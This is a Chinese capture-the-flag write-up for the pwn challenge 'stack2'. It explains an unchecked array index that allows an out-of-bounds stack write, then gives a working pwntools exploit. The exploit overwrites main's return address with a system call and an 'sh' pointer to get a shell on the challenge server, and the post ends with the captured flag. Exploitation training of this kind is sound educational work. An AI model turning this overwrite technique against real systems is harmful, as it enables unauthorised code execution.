stack2

好坑的一道题

一、段检查

0

二、静态分析

 
0
注意这里,有一个v5,v5的值没有被限制可以造成数组越界,我们可以根据这一漏洞构造payload

三、坑点1

0
 
/bin/bash并不能拿到权限,我们需要自己截取sh进行攻击
坑点2
0
IDA上v13的栈位置不正确,需要gdb动态调试获取正确的栈(IDA调试也不行)

四、构造payload

from pwn import *

#根据IDA可以发现v13[v5]会发生栈溢出,我们可以利用main函数的返回地址,构造payload
#IDA显示,v13数组的地址为   [esp+38h] [ebp-70h]

context.log_level = 'debug'


def ssend(offset,val):
    sh.sendlineafter("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit", str(3))
    sh.sendlineafter("which number to change:", str(offset))
    sh.sendlineafter("new number:", str(val))



sysaddr = 0x804859B
sh = remote("111.200.241.244",61807)
sh.sendlineafter("How many numbers you have:",str(0))

ssend(0x84,0x50)
ssend(0x85,0x84)
ssend(0x86,0x04)
ssend(0x87,0x08)        #system的地址
ssend(0x8c,0x87)
ssend(0x8d,0x89)
ssend(0x8e,0x04)
ssend(0x8f,0x08)    #0x8048987

# ssend(0x74,0x08)
# ssend(0x75,0x04)
# ssend(0x76,0x85)
# ssend(0x77,0x9b)

sh.sendlineafter("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit", str(5))

sh.interactive()
拿到flag
cyberpeace{f47c091ec231940f7b3698e973660f91}
0
 
posted @ 2022-05-18 23:50  TLSN  阅读(23)  评论(0)    收藏  举报